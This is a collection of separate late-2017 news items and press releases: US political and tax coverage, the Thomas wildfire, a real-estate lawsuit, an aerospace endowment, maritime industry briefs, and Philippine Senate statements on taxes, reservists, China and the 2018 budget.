President Donald Trumps remarks Monday indicating he had no intention of firing special prosecutor Robert Mueller can be seen as either welcome or meaningless, given Trumps history of impulsiveness and self-indulgence. Americans should hope Trump is true to his word. For the president to fire a special prosecutor looking into hard evidence that members of his campaign, including one of his sons, wanted to collude with Russian operatives during the 2016 campaign would trigger a political firestorm that would parallel anything seen during the Watergate scandal, which paralyzed Washington and drove President Richard Nixon from office.

But even if the investigation is allowed to proceed, its been despicable and depressing to witness the president and his allies in the media and Congress run down Mueller, the FBI and the Justice Department. Yes, theyve made mistakes. But there is little evidence they are conducting a witch hunt.

Yet the Fox News-Breitbart-conservative social media juggernaut simply doesnt care if it tears down institutions while seeming to lay the groundwork for Muellers firing. It is disgraceful for Rep. Mark Gaetz, R-Florida, to liken the investigation to an unfolding coup d'etat. It is beyond disgraceful for Fox host Jeanine Pirro to say Trump is the victim of a criminal cabal within the government whose members should be led out in cuffs.

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This wild rhetoric has the potential to destabilize America  which, of course, was Russias goal when it interfered with the 2016 election. Congratulations to Gaetz and Pirro for making Vladimir Putins day.

Twitter: @sdutIdeas

Facebook: San Diego Union-Tribune Ideas & Opinion
Republicans in Congress voted largely along party lines on Tuesday to approve a tax reform bill, bringing it one step away from becoming the most sweeping overhaul of the tax code in more than 30 years.

The final vote in the House was 227-203, and later in the senate it passed 51-48.

The bill was opposed by every Democrat and some Republicans  11 of the 12 of GOPers who voted no were from high-tax states like New Jersey, New York and California. Immediately after the House vote, lawmakers and others from the Golden State offered their reactions and predictions on what the tax cuts could mean for Californians.

Rep. Scott Peters, D-San Diego, predicts an impact on home ownership.

Tony Krvaric, chairman of the Republican Party in San Diego County, said he found it simply implausible that no Democrat voted for the tax bill. This is not your grandfathers Democrat party, he said in a tweet.

Sen. Dianne Feinstein, D-San Francisco, said the tax bill would limit many Californians ability to deduct their state and local taxes on their federal returns. In another tweet, Feinstein vowed to vote no when the bill reached the Senate.

As lawmakers voted for the bill, former California Sen. Barbara Boxer in a tweet said Golden State voters will strike back in November and will replace GOP House members who vote for this monstrosity.

Democratic Lt. Governor Gavin Newsom, who is in the run for gubernatorial race in 2018, said that Republicans have perfectly summed up their priorities in one bill. Party over country, he tweeted.

San Diego attorney Gil Cabrera weighed in on the passage of the tax bill in GIF form.

Colin Parent, a councilman for the city of La Mesa, said the GOP tax plan would make it harder for all ends of the housing ladder.

Reps. Darrell Issa, R-Vista, and Dana Rohrabacher, R-Hungtington Beach, were the only two California Republicans to vote against the GOP bill, as they said they would.

In a tweet, Rohrabacher said the bill was improved, but not enough for a significant [number] of my constituents.

The bills main features are cuts in the corporate tax rate, an end to the estate tax, a reduction in rates for most tax filers and an increase in the individual exemption. Analaysts say the tax cuts will cost the U.S. government $1.5 trillion in revenue over the next decade, The New York Times reported.

All the bill needs now is for President Donald Trump to sign it, which he said he would do before Christmas.

Despite many state residents concerns over losing the full deductibility of local and state taxes and lower mortgage tax deduction limits, 12 Republican representatives from California voted in favor of passing the bill. The 12:

Rep. Mimi Walters, R-Laguna Beach Rep. Tom McClintock, R-Elk Grove Rep. Devin Nunes, R-Tulate Rep. Duncan Hunter, R-Vista Rep. Doug LaMalfa, R-Richvale Rep. Paul Cook, R-Yucca Valley Rep. Jeff Denham, R-Turlock Rep. David Valadao, R-Hanford Rep. Kevin McCarthy, R-Bakersfield Rep. Steve Knight, R-Palmdale Rep. Ed Royce, R-Fullerton Rep. Ken Calvert, R-Corona

Several of the lawmakers are being targeted in the 2018 election by the national Democratic Party.

This story will be updated with the latest developments in the U.S. Senate vote.

Have some thoughts to share?

Join me in a conversation: Shoot me a private email with your thoughts or ideas on a different approach to this story. As always, you can also send us a tweet.

Email: luis.gomez@sduniontribune.com

Twitter: @RunGomez

Read The Conversation on Flipboard.

UPDATES:

9:10 a.m.: This article was updated with a vote count for the House of Representatives and the U.S. Senate.

This article was originally published Tuesday, Dec. 19 at 1:30 p.m.
Fire officials now say the massive Thomas fire in Ventura and Santa Barbara Counties is 50 percent contained, but winds that have fueled the blaze to become one of the largest in California history are expected to return in the coming days.

The wildfire started near Santa Paula on Dec. 4 and has gone on to burn more than 270,000 acres and to menace Montecito and Santa Barbara. This map from the Ventura County Fire Department shows just how large the blaze has been.

And heres a look at some of the terrain firefighters have been facing.

Officials predict it could take until Jan. 8 for the Thomas fire to be fully contained.

Local fire departments reported productive days over the weekend and into Monday and Tuesday. The Ventura County Fire Department even said there was minimal fire activity overnight on Monday, so crews were able to strengthen containment lines and continue mop-up operations.

But coming weather conditions concerned officials on Tuesday. The Twitter account for the Ventura County Fire Department tweeted that firefighters are concerned the fires east side could switch to a completely different direction this week.

On the eastern side of the fire, Fillmore was under an evacuation order on Tuesday as were other areas near the fire on the western side including parts of Santa Barbara. A fire weather watch for Santa Barbara will begin on Wednesday at 6 p.m. and continue until 10 a.m. on Thursday.

Winds across the area are expected to pick up again as the week continues.

However, in some areas, residents have been able to return to their homes that they had previously evacuating.

"It's drastically ramping down right now," said Rudy Evenson, a spokesman for the multi-agency firefighting effort. "It's nowhere near the scale that it's been the past two weeks."

Want to help out those who have evacuated or returning home? Officials in Santa Barbara and Ventura Counties have some suggestions.

Click here to see a guide from Santa Barbara County for organizations seeking donations to help victims. It includes information about local food banks and the United Way.

And for a closer look at the toll at the Thomas fire has taken after two weeks, check out these photos from professional photographers below.

A firefighter puts out hotspots on a smoldering hillside in Montecito, California as strong winds blow smoke and embers inland, Dec. 16, 2017 at the Thomas Fire. (ROBYN BECK/AFP/Getty Images)

In this Dec. 16, 2017, photo provided by the Santa Barbara County Fire Department, flames burn near power lines in Sycamore Canyon near West Mountain Drive in Montecito, Calif. (Mike Eliason/Santa Barbara County Fire Department via AP)

Fire burns in the hills behind a home at the Thomas Fire, Dec. 16, 2017 in Montecito, California

A strong wind blows embers around inmate firefighters putting out hot spots at the Thomas Fire on Dec. 16, 2017 in Montecito, California. (David McNew/Getty Images)

Firefighters keep watch on the Thomas wildfire in the hills and canyons outside Montecito, California, U.S., Dec. 16, 2017. (REUTERS/Gene Blevins)

Firefighters battle the Thomas wildfire in the hills and canyons outside Montecito, California, U.S., Dec. 16, 2017. (REUTERS/Gene Blevins)

High fire danger is also expected this week in Los Angeles County. See the latest coverage from The Los Angeles Times here.

Email: abby.hamblin@sduniontribune.com

Twitter: @abbyhamblin
Creditors in a failed deal with Lennar Corp. to build massive housing tracts on the last major parcel of undeveloped land in Los Angeles County have dropped a lawsuit accusing the construction giant and a former subsidiary of defrauding Californias public pension fund and others.

The plaintiffs, identified as the LandSource Creditor Litigation Liquidating Trust, wrote in a court filing last week that they were voluntarily dismissing the suit, which had claimed that Lennar and the subsidiary, LNR Property Corp., engineered a transaction to cash in on $1.4 billion of debt they knew they would never be able to repay.

The suit was filed in Delaware in July, but U.S. Bankruptcy Judge Kevin J. Carey signed off on several delays over the year that kept it from ever going to trial. The filing did not stipulate terms of the dismissal of the suit, which had sought $700 million that plaintiffs alleged was fraudulently transferred to LNR.

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The complaint did not name Lennar, which was released from liability in claims concerning the venture, known as LandSource Communities Development LLC, as part of a bankruptcy settlement.

The suit was dismissed with prejudice, meaning the LandSource creditors who filed the complaint are barred from filing another case on the same claim.

Plaintiffs lawyer Michael Lynch refused to comment Friday, citing a confidentiality agreement.

Jen Brown, a spokeswoman for LNR, which is now co-owned by Cerberus Capital Management LP, had no immediate comment. Lennar spokesman Marshall Ames did not respond to an email.

The California Public Employees Retirement System, which during the ventures bankruptcy lost the nearly $1 billion it invested in LandSource, was not among the suits plaintiffs. CalPERS spokesman Wayne Davis had no comment on the dismissal.

The suit had accused Lennar and LNR of using an appraisal that overstated LandSources value when, as the ventures sole owners in 2006, they secured up to $1.55 billion in financing for development projects from investors led by Barclays Bank PLC.

LandSources primary holding was the planned 21,000-home Newhall Ranch project on a 15,000-acre expanse of rugged hills on Los Angeles Countys northwestern fringe.

Lennar and LNR each took $700 million of the borrowed money in exchange for their shares in LandSource when CalPERS and its investment partners bought into the venture in February 2007, the complaint had said.

CalPERS and the ventures other creditors were left with that debt when falling land prices pushed LandSource into Chapter 11 bankruptcy protection in June 2008, according to the suit.

The suit also accused Lennar and LNR of telling lenders and investors that they would buy back the majority of LandSources property during the three years after they sold their stake in the venture, but they failed to do so.

The suit was filed about a year after a judge gave final approval to the LandSources reorganization plan, which gave the ventures main financial backers equity in a reorganized company in exchange for the more than $1 billion they were owed.

The reorganization deal also allowed Lennar to buy 15 percent of the Newhall Ranch project for $140 million and to install an affiliate company as its manager.

Newhall spokeswoman Marlee Lauffer said the projects planners are working on securing environmental clearances and other entitlements and that they hope to break ground by late 2012 or early 2013.
Accelerating aerospace innovation

Permanent endowment at the College of Engineering and Computing to support innovative teaching and research in the fields of material architecture and integrated intelligent manufacture systems

The state Department of Commerce has established a $2 million aerospace research endowment at the University of South Carolina's College of Engineering and Computing. The endowment will enhance the universitys ongoing partnership with Boeing and the shared commitment to advance aerospace innovation in South Carolina.

Boeing continues to demonstrate a deep commitment to South Carolina and to the University of South Carolina, said Secretary of Commerce Bobby Hitt. Collaborative efforts, like this one, between the public sector, private industry and academia are critical as we seek to promote continued growth in our aerospace cluster and beyond.

The Boeing Endowment, named for the states largest private-sector aerospace company, will support practicebased innovative teaching and research in material architecture and integrated intelligent manufacturing systems. The grant will be used to bring Boeing professionals into the college as professors of the practice and to facilitate UofSC faculty working directly with Boeing engineers on research projects.

Since 2015, Boeing and the university have worked together on key areas of aerospace research and development. In August of that year, the two announced a research agreement through the McNAIR Center for Aerospace Innovation and Research featuring an investment from Boeing of up to $5 million.

Were thrilled about our relationship with Boeing, which is a model partnership between industry and a major research university, said Carolina President Harris Pastides. The Boeing Endowment is a significant step forward in that relationship, demonstrating the trust that the pre-eminent aerospace industry leader has in our faculty and their research expertise.

S.C. Commerces decision to fund this endowment speaks to the states commitment of advancing the aerospace sector in South Carolina. Boeing is committed to continuing our successful research collaboration with the University of South Carolina, which has the potential to revolutionize the aerospace industry in South Carolina and around the world, said Lane Ballard, vice president of materials and manufacturing technology at Boeings Research & Technology Center in South Carolina.

With this new phase in our partnership, well be able to work more closely with Boeing on groundbreaking aerospace research, said Hossein Haj-Hariri, dean of the College of Engineering and Computing. Our students will benefit from this enhanced relationship as they will be able to conduct research side by side with Boeing engineers, a unique opportunity to benefit from the deep experience of some of the leading practitioners working in the aerospace industry.

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On Nov. 26, the Morning News published an AP article titled "Science battles human fear at Fukushima." This article stated that experts have recommended to the government that the 250 million gallons of water containing tritium should be slowly released into the Pacific Ocean. The article did not state what tritium is. It does state that people, fishermen in particular, are balking at such a release.

It appears that the United States is not the only country trapped in politics. The article stated that Naoya Sekiya, a University of Tokyo expert on disaster information and social psychology, said that the water from the nuclear plant should not be released until people are well-informed about the basic facts and are psychologically ready. In my opinion, the general population will never be ready.

Tritium is a heavy form of hydrogen and is mildly radioactive. Since it is hydrogen, and therefore has the same chemical properties as hydrogen, it combines with oxygen to form water. This is called heavy water. Because it is water, the tritium could not be removed by evaporation and filtration as gaseous and particulate material could. All of the tritium produced in all of the nuclear reactors in the world will not raise the background level a detectable amount.

Apparently people do not understand that one way or another this water is going to eventually get into the environment. Should Japan release it slowly and under controlled and monitored conditions so that it is immediately diluted to the point that it has no effect? Or should Japan wait until some earthquake, terrorist action or other disaster ruptures some of the 900 tanks and they have a large, uncontrolled and unmonitored release that will have adverse effects?

If governments and companies were honest and would tell the whole story about their operations and would attempt to educate people rather than hide things or shove things down people's throats, then maybe they wouldn't have so many problems with anti-everything people, and maybe the people would have more trust in the information they are receiving and would be more cooperative.

LAWRENCE D. WEBER

Quinby
Apart from hosting and possible maintenance costs, there are not exactly downsides to having your own website. Even if its just a personal blog it can always become more useful down the line, if you utilize it in the right manner. In other words, more
The deployments are part of the Norwegian's newly announced 2019 summer program, which also features May and June sailings in Canada/New England.

After making its debut in summer 2018, Norwegian Bliss will return for its second Alaska season, sailing new seven-day Glacier Bay voyages from Seattle on Sundays.

Norwegian Pearl, which recently underwent an extensive renovation earlier this year as a part of the Norwegian Edge program, will sail seven-day Alaska cruises from Seattle, departing on Saturdays.

And Norwegian Jewel will return to Vancouver, BC, and Seward after a bow-to-stern enhancement in fall 2018 to continue seven-day Glacier Bay northbound and Inside Passage southbound Alaska highlights voyages. These can be combined into a 14-day itinerary.

Norwegian Getaway will be back in the Baltic with nine-day cruises from Copenhagen to Warnemunde (for Berlin), Tallinn, Helsinki, Stockholm and St. Petersburg (overnight).

Norwegian Epic will return to Europe in summer 2019 for seven-day western Mediterranean cruises, with embarkation available at Barcelona or Civitavecchia (Rome) and visiting destinations in Italy, France and Spain.

Following an extensive renovation in 2017, Norwegian Jade will spend summer 2019 sailing the Greek Isles and Italy on 10- and 11-day cruises from Civitavecchia.

Norwegian Star, which will undergo a refurbishment in spring 2018, will also sail the Greek Isles and eastern Mediterranean, offering primarily seven-day cruises with a small selection of nine-, 10-, 11- and 12-day sailings departing from Venice.

Norwegian Spirit will homeport in Southampton for the summer, sailing a selection of 10-day or longer cruises to the British Isles, Iceland, Norwegian Fjords, the Arctic Circle and the Baltics. Full itinerary details will be released when the ship opens for sale in mid-January.

As for the early-summer Canada/New England routes, they'll operate on Norwegian Dawn from New York. Four, seven-day cruises in May and June will visit Halifax, Saint John, Bar Harbor, Portland and Newport.
Concordia has been active in the Dutch inland waterways market since 2001 and its corporate identity will remain within the new joint venture Concordia Damen Shipbuilding.

The joint venture will increase production capacity and Damens inland waterways team, led by product director inland waterway transport Simon Provoost, will move from the Damen headquarters in Gorinchem, to the Concordia office in Werkendam, the Netherlands.

Damen and Concordia are joining forces in order to better support clients in their investments. Concordia Damen Shipbuilding will, beside catering to the general demand, focus on the development of sustainable vessels with a diversity of new shipbuilding techniques, in order to achieve a bright and clean future for shipowners, said Chris Kornet, ceo of Concordia.

We look forward to working together with Damen and its international network of shipyards and sales.

Concordia has been active in the international inland waterways market for the last 10 years.
The company said in a stock market announcement that the NOK2.7bn ($322.5m) contract is for the design and construction of a luxury polar expedition cruise vessel for Ponant, a French cruise company that specializes in Polar cruises.

The Polar Class 2 electric hybrid vessel with LNG propulsion is developed by Ponant, Stirling Design International, Aker Arctic and Vard and is specially designed for expedition travel to ecologically sensitive polar destinations such as the true geographic North Pole (90 degrees North Latitude), the Weddell Sea, the Ross Sea and Peter I Island.

This is a potential future trend, ABB China head of marine and ports Alf Kaare Aadnanes had separately told Seatrade Maritime News. He said ABB has been working with cruise companies on integrated fuel cell packages for similar electric hybrid projects. For cruise vessels the clean future might well be the fuel cell technology, especially for exploration vessels and those that need to meet higher environmental standards he noted.

This is a really exciting project for us, and we look forward to building the Ponant icebreaker for polar expedition voyages. Vard has a deep experience in icebreaking technology; over generations we have built several highly advanced vessels developed for operations in polar areas. It is a pleasure to continue the excellent cooperation we have with Ponant, Stirling Design International and Aker Arctic, said Vard ceo and ed Roy Reite.

The hull will be built at Vard Tulcea in Romania. Delivery is scheduled from Vard Sviknes in Norway, in the second quarter of 2021.
Press Release

December 19, 2017 BICAM PASSAGE OF LOW TOBACCO TAX BILL DISMAYED SEN. PACQUIAO GENERAL SANTOS CITY - Protecting public health against the menace of cigarette smoking is more important than money. This was emphasized by Senator Manny Pacquiao who expressed dismay over the passage by the bicameral conference committee of low tobacco tax bill. The bicameral panel of both houses passed earlier last week the final version of the Tax Reform for Acceleration and Inclusion (TRAIN) bill, seeking to cut the tax rate on low income earners but impose higher levies on fuel, cars, coal, tobacco, and mining, among others. The TRAIN bill, once signed into law, is expected to generate some P130 billion revenues for the national government. Senator Pacquiao claimed he was taken aback by the decision of the bicameral panel to adopt a lower tax on tobacco products. The bicameral committee decided to approve the tobacco tax bill despite the fact that the Senate has yet to pass its own version of the controversial bill. Under RA 10351 or the Sin Tax Reform Act of 2012, the tax rate for tobacco products next year would be P31.20. If TRAIN is signed into law, this would increase to P32.50 for the first six months of 2018. It would then increase to P35 from July 1, 2018 to December 31, 2019. A tax of P37.50 would then be imposed from 2020 to 2021; P40 by P2022 to P2023; and a 4% annual increase after that. Sen. Pacquiao filed Senate Bill 1599 last Oct. 3, proposing to increase the current tobacco tax rate of PhP30 pesos per pack to PhP60 pesos in 2018 and nine percent per year thereafter. SB 1599, once enacted into law, will prevent 200,000 new smokers next year and further reduce the number of smokers by one million by 2022, mostly from the poor and young populations. Currently, 150,000 Filipinos die due to smoking, the reason why Sen. Pacquiao is hellbent on pushing for the passage of SB 1599 to protect the Filipino people from tobacco-related deaths and diseases.?? Sen. JV Ejercito also filed Senate Bill 1605 which seeks to impose a much higher tax on cigarettes - from PhP 30 to PhP 90.00 pesos in 2018 - followed also by nine percent increase per year after the first year. The Sin Tax Reform Act was passed primarily to curb cigarette and alcohol addiction, as well as, to raise government funds for the implementation of Universal Health Care (UHC). The Senate has yet to deliberate on SB 1599 and SB 1605 when it resumes session on January 15 next year. "We agreed at the Senate to discuss my proposed Tobacco tax bill when our session resumes in January. So, I was really dismayed by the bicam passage of the tobacco tax measure without first waiting for the Senate's approved version," Sen. Pacquiao said. The senator from Mindanao stressed that the tobacco tax bill is not just a mere revenue measure. "Above all, it involves public health issue. We can compromise government revenue but not our people's health. We can generate revenue from other sources without compromising public health. Cigarette is just like shabu. It's addictive, it's a poison," Sen. Pacquiao stressed. As leaders, Sen. Pacquiao said, lawmakers should take the cudgel in protecting public health. The boxer-lawmaker said "Human body is sacred. We should not destroy or desecrate it." He quoted 1 Corinthians 3:16-17, which says "Don't you know that you yourselves are God's temple, and that God's Spirit dwells in you? If anyone destroys God's temple, God will destroy him; for God's temple is holy, and you are that temple." "Why protect the interest and greed of the tobacco companies at the expense of the youth and the Filipino people? Pacquiao asked. According to Sen. Pacquiao, the lawmakers virtually made cigarettes more affordable like candies by passing the low tobacco tax bill. Despite the bicam approval of the low tobacco tax measure, Sen. Pacquiao is not giving up. He vowed to exert efforts to convince President Duterte to veto the tobacco tax provision of TRAIN. He revealed that no less than President Duterte, himself, being a staunch anti-smoking advocate, assured him of support for his Senate version of the tobacco tax law. "I will continue to fight for a higher tobacco tax and nothing can stop us from protecting our people especially children. We will never back down because this is about saving the lives of thousands of Filipinos," he said.
Press Release

December 19, 2017 Sen. Bam Aquino, AFP join forces to empower more reservists All three branches of service of the Armed Forces of the Philippines (AFP) expressed full support behind Sen. Bam Aquino's bill to provide AFP reservists with job security while rendering military service for the country. "This is one of the ways we show our gratitude for the service you provide," Sen. Bam Aquino expressed to the AFP during the hearing of the Subcommittee for Labor and Employment on Senate Bill No. 1607 or the Reservist Employment Rights Act. Ranking officials from the Air Force, Army and Navy, as well as other stakeholders expressed their full backing of Senate Bill No. 1607, authored by Sen Bam, and all committed to work together to encourage more Filipino reservists to be more active in rendering service to the nation. According to Rear Admiral Roberto Empedrad, the AFP Deputy Chief of Staff for Reservists and Retiree Affairs, SBN 1607 is the much needed reinforcement to fully implement Section 32 of RA 7077. The AFP official said that the concern of reservists regarding their security of tenure in their civilian jobs hinder the mobilization and training of the kind of reservists most needed by the AFP. Rear Admiral Robert Empedrad said Senate Bill No. 1607 authored by Sen. Bam amplifies and puts flesh to the provision of Section 32 of RA 7077, which provides for security of tenure for reservists in their civilian jobs. "The enactment of Senate Bill No. 1607 is very important to us since it will help in the administration of our unsung heroes, our volunteer reservists," said Rear Admiral Empedrad. Air Force Vice Commander, M/Gen. Jose Tanjuan said Senate Bill 1607 is in harmony with the general provisions of RA 7077, as it particularly strengthens its manpower development provision. He added that the measure also supports the Labor Code's provision covering the security of tenure on employment of reservists undergoing annual duty training and mobilization. "With the enactment of bill, reservists shall be more motivated and focused on their task since they will be unburdened with the problem of security of tenure and compensation," said M/Gen. Tanjuan. B/Gen. Gilbery Gapay, chief of staff of the Philippine Army, also expressed full support for the enactment of the measure into law, saying it will help in enhancing one of the most important programs in the Army. Concerned government agencies, such as Government Service Insurance System, Department of Labor, Social Security System and PAG-IBIG Fund also expressed willingness to help enhance the measure, making it attuned to the present needs of reservists. Under Sen. Bam's measure, reservists shall be entitled to their original position, or to a substantially equivalent position, without loss of seniority rights, and diminution of pay. The bill also ensures that companies cannot require reservists to use their standard leave credits entitled them for absences, for the military service they are required to render. Furthermore, the bill protects reservists who suffered any injury or disability as they would still be entitled to reinstatement as long as they can perform the essential function of their original employment. The measure also gives adequate training for reservists, compensation for non-reinstatement and military service and penalties employers in case of discriminating any employee or job applicant for being a reservist. Sen Bam said that this bill is intended to bolster further the Reserve Force Development program of the AFP and ensure that we encourage more professionals, specialists, and subject matter experts to help in our national security by being active reserve officers of the AFP. "With this bill, we hope that the Category One types, ages 18 - 35 years old, who are most needed will be more encouraged to sign up and be active," said Sen. Bam.
Press Release

December 19, 2017 Sen. Bam: TRAIN to burden millions of Filipino families in 2018 Poor Filipinos will have to deal with higher prices of goods and services without any financial assistance from the government once the tax reform program it is implemented next year, according to Sen. Bam Aquino. "While the government is determined to implement the tax reform program starting next year, it will take months before it rolls out the cash transfer program for poor Filipinos," said Sen. Bam. The Department of Finance (DOF) proposed a cash transfer program with a P200 monthly financial assistance on the first year and P300 monthly financial assistance for the second and third year to help cover the increase in prices of basic goods. However, the DOF said it cannot immediately implement the cash transfer program and the Tax Reform for Acceleration and Inclusion (TRAIN) at the same time. In the period of amendments, Sen. Bam pushed for the immediate implementation of the cash transfer program to help poor Filipinos absorb the expected increase in the prices of goods and services. However, Sen. Bam's proposal was not accepted by the DOF. During its ratification, Sen. Bam rejected the TRAIN's approval due to the inability of government to implement the financial assistance program in time for the increase in prices due to provisions on excise tax on fuel and sweetened beverage tax. "In the end, poor Filipinos will bear the brunt of this tax reform program as it will increase the prices of basic commodities," said Sen. Bam, who rejected the measure despite supporting the increase in take home pay for workers. "Sana mahanapan pa ng paraan, na sa madaling panahon, masabay nila ang pinansyal na tulong doon sa pagtaas ng taxes at pagtaas ng presyo ng napakaraming bilihin sa ating bansa," added Sen. Bam. Instead of passing the burden to poor Filipinos, Sen. Bam said the government should focus on improving the performance of revenue-generating agencies such as the Bureau of Customs (BoC) and the Bureau of Internal Revenue (BIR). Data from the Finance Department shows that an additional P726 billion can still be collected by government by addressing inefficiencies and removing loopholes in the BIR. The government can also collect at least P231 billion if the importation gap and smuggling is resolved by BOC.
Press Release

December 19, 2017 Sen. Leila M. de Lima's statement on the unravelling Duterte-China partnership Last week Malacanang announced that it will limit the participation of a third player in the telco industry to Chinese companies. This means that the government intends to exclude all other foreign companies from participating in the telco industry, no matter how more competent and more advanced their services and technology might be. This economically irrational decision can only be explained with the shift in our foreign policy that now heavily leans towards China. After all, both governments do not mince words in describing the present as a golden age of PH-China relations. This situation serves the Duterte administration well especially now that it has made the Philippines a pariah state in the international community because of its human rights record. Only China has both the international and regional clout to give legitimacy to this government in the global arena by continuously ignoring its human rights situation, after the Western democracies have already all but treated the Philippine government as a rogue state because of its disregard for human rights. This might be good for the present administration, but not necessarily for the future of the nation. The experience of countries like Sri Lanka, Bangladesh, Nepal, Cambodia, and a host of other Asian and even African nations should serve as a lesson of how China ultimately demands for its pound of flesh once it decides to cash in. This is not to mention the security threat a Chinese telco poses to the country's information and communication infrastructure. What will assure us that in the future, our national security and whole intelligence and defense systems won't be compromised, if not under the complete control of a foreign government with national interests diametrically opposed to our own? This is one of the very reasons why the NBN-ZTE deal was scuttled under the Arroyo government, aside from the corruption issues that plagued it. Do we really want a country who has most interest in undermining our national security to have a major role in our public utilities, especially communications? Of course, this is no cause for worry for an administration bent on making the Philippines a Chinese satellite. Already the intention is to make China our center, shunning Western democracies, but without the economic independence and self-sufficiency of the other progressive ASEAN nations to enable us to stand our ground against the Chinese juggernaut. The government intends to bury Filipinos in Chinese loans. But when the Chinese Shylock comes knocking in the near future, today's leaders won't be the ones to pay. It is the common citizens who will. Couple this with a communications industry heavily compromised by a Chinese presence, it is not entirely alarmist to envision our nation as a Chinese province, and Filipinos as second-class citizens of China, in the near future. We must stop this undesirable dystopia from becoming reality for our children and our grandchildren while we still can.
Press Release

December 19, 2017 Legarda: President Duterte Enacts P3.767-Trillion 2018 National Budget Senator Loren Legarda today said that President Rodrigo Roa Duterte has signed into law the 2018 General Appropriations Act (GAA) amounting to Php3.767 Trillion-the highest allocation by any administration. Legarda, Chair of the Senate Committee on Finance, reiterated that the 2018 GAA is a makatao or pro-people budget that places heavy importance on providing for the actual needs of the Filipinos, such as education, healthcare, livelihood, shelter, peace and order, and other support and services to the public. "The GAA is the law that declares how much our government is able to extend its support for the Filipino people. For next year, our GAA is worth Php3.767 Trillion, the biggest budget the Philippine government ever had, which will also be the biggest amount our government would invest on its people," said Legarda. "It is truly fulfilling to culminate this process with the President signing the very product of months long of intense budget deliberations at the Senate and the bicameral conferences-all for a budget that indeed reforms and transforms the lives of our Filipino people. Moreover, the President also signed the Tax Reform for Acceleration and Inclusion (TRAIN) Law, a very important measure that would allow our people to take home more of what they earn while also generating needed revenues for the government," she said. Legarda added, "No less than credit rating agency Fitch Ratings, which upgraded the Philippines' long-term credit rating from BBB- to BBB, said that it expects the country's fiscal profile to improve due to the TRAIN Law. I am optimistic that the 2018 GAA and TRAIN Law will both usher in more stable growth for the country, growth that is sustainable, resilient and inclusive." The Senator also noted that the Asian Development Bank (ADB) has upgraded its 2017 and 2018 economic growth forecasts for the Philippines. The ADB upgraded its 2017 GDP forecast for the Philippines to 6.7% from the previous 6.5%, while its 2018 GDP forecast increased from 6.7% to 6.8%. The ADB in its report "assumes that growth in the government's infrastructure program will accelerate, supported by improvements in budget execution, with more large investment projects underway." The Senator explained that in the 2018 GAA, social services[1] remain to have the biggest share of the budget pie with 38.7%, followed by economic services[2] with 30.5%, then general public services[3] with 16.4%, then debt burden with 9.8%, and defense allocation with 4.6%. Legarda said that the top ten agencies with the highest budgetary allocations are as follows: (1) Education agencies inclusive of the Department of Education (DepEd), the Commission on Higher Education (CHED) and state universities and colleges (SUCs), with Php664.8 Billion; (2) the Department of Public Works and Highways (DPWH) Php637.8 Billion; (3) the Department of Health (DOH), including budgetary support for government corporations (BSGC)[4], with Php171.09 Billion; (4) the Department of the Interior and Local Government (DILG) with Php170.7 Billion; (5) the Department of National Defense (DND) with Php149.69 Billion; (6) the Department of Social Welfare and Development (DSWD) with Php141.8 Billion; (7) the Department of Agriculture (DA) and its attached agencies with Php103.07 Billion; (8) the Department of Transportation (DOTr) and BSGC with Php70.9 Billion; (9) the Department of Finance (DOF) and BSGC with Php48.07 Billion; and (10) the Department of Environment and Natural Resources (DENR) with Php24.9 Billion. The Senator said that education is a top priority of the 2018 GAA. The most noteworthy increase is the Php40 Billion funding for free college education in all SUCs, local universities and colleges (LUCs), and state-run technical-vocational institutions, for the implementation of the Universal Access to Quality Tertiary Education Act. An additional Php10 Million for capital outlay of each SUC was approved in order to purchase equipment and improve facilities within their campuses. Moreover, Php327 Million under the Department of Information and Communications Technology (DICT) was allocated to install Wi-Fi in SUCs to aid students in their school requirements. Another Php250 Million funding under CHED was also allocated for free tuition for medical students enrolled in SUCs. Furthermore, under the budget of DepEd, chalk or cash allowance of teachers-intended for the purchase of classroom supplies like chalk, markers, paper, erasers and other materials-will increase from Php2,500 to Php3,500 per teacher. As regards the health sector, the 2018 GAA will continue to fund the Universal Healthcare Program under Philippine Health Insurance Corporation (PhilHealth) so that all Filipinos can access healthcare services in all government hospitals. There is also Php3.5 Billion for PhilHealth Plus to provide for the health insurance of government employees under the executive department. The DOH budget was also increased to provide additional funding for Medical Assistance Program for indigent patients, additional medicine for cancer patients, and Health Facilities Enhancement Program, among others. A special provision was also included to prohibit the purchase of Dengue vaccines. To improve social services, aside from maintaining the Php89 Billion budget for the Pantawid Pamilyang Pilipino Program (4Ps), the DSWD's flagship project, there is also an allocation in the amount of Php2.080 Billion for the rehabilitation of social welfare and activity centers and Bahay Pagasa juvenile detention centers. To support the growth of micro, small and medium enterprises (MSMEs), there is additional funding worth Php800 Million in the Department of Trade and Industry's (DTI) Shared Service Facilities (SSF), which intends to increase the productivity of MSMEs by giving them access to efficient technologies, skills, knowledge, and systems. For the agriculture sector, farmers will continue to receive government support through the subsidy of irrigation service fees being paid by farmers to the National Irrigation Administration (NIA). The DA also has Php2.669 Billion for the construction, restoration or improvement of small-scale irrigation projects and Php4.281 Billion for the construction of facilities and procurement of agricultural machineries and equipment. To ensure quick recovery, reconstruction, and rehabilitation of war-torn Marawi City, Php10 Billion was allocated for such purpose under the National Disaster Risk Reduction and Management (NDRRM) Fund. Unpaid pension that the government owes to surviving spouses of World War II veterans will now be fully paid under the 2018 budget with the allocation of Php1.647 Billion for the payment of total administrative disability (TAD) arrears. In support of strengthening the military and police's role in maintaining national security and peace and order, the 2018 GAA provides improved benefits for uniformed personnel. It allocated Php62.8 Billion for the increase of base pay of military and uniformed personnel. Since the Philippine Drug Enforcement Agency (PDEA) will now lead the government's anti-illegal drugs campaign, additional Php1.2 Billion was allocated to the agency to help expand its operations and construction of regional/provincial offices. Meanwhile, the Php900 Million and Php500 Million under the DILG budget for Oplan Double Barrel and MASA MASID, respectively, were realigned. Php1.35 Billion was transferred to the Philippine National Police (PNP) and Armed Forces of the Philippines (AFP) Housing Program; while the Php50 Million was earmarked as additional budget for acquisition of body cameras of police officers. Total budget for the acquisition of body cameras of police officers is Php334 Million. Under the DILG budget, Php100 Million was earmarked for closed circuit television (CCTV), Php451 Million for the purchase of two helicopters, and Php70 Million additional funding under the Internal Affairs Service to ensure that they have sufficient funds to conduct their investigation on erring policemen. Additional Php300 Million was also allocated under the Bureau of Corrections for additional prison facilities. The budget of the Technical Education and Skills Development Authority (TESDA) was also increased for its quality technical education and skills development program. Under the budget of the DOF, Php1.493 Billion was allocated for the purchase of x-ray machines and a special provision was introduced to expand custom inspection to include bulk inspection and containerized cargo. Meanwhile, the Department of Foreign Affairs (DFA) budget will receive an increase of Php783 Million for additional funding of existing consular offices and embassies, opening of new consulates, cultural 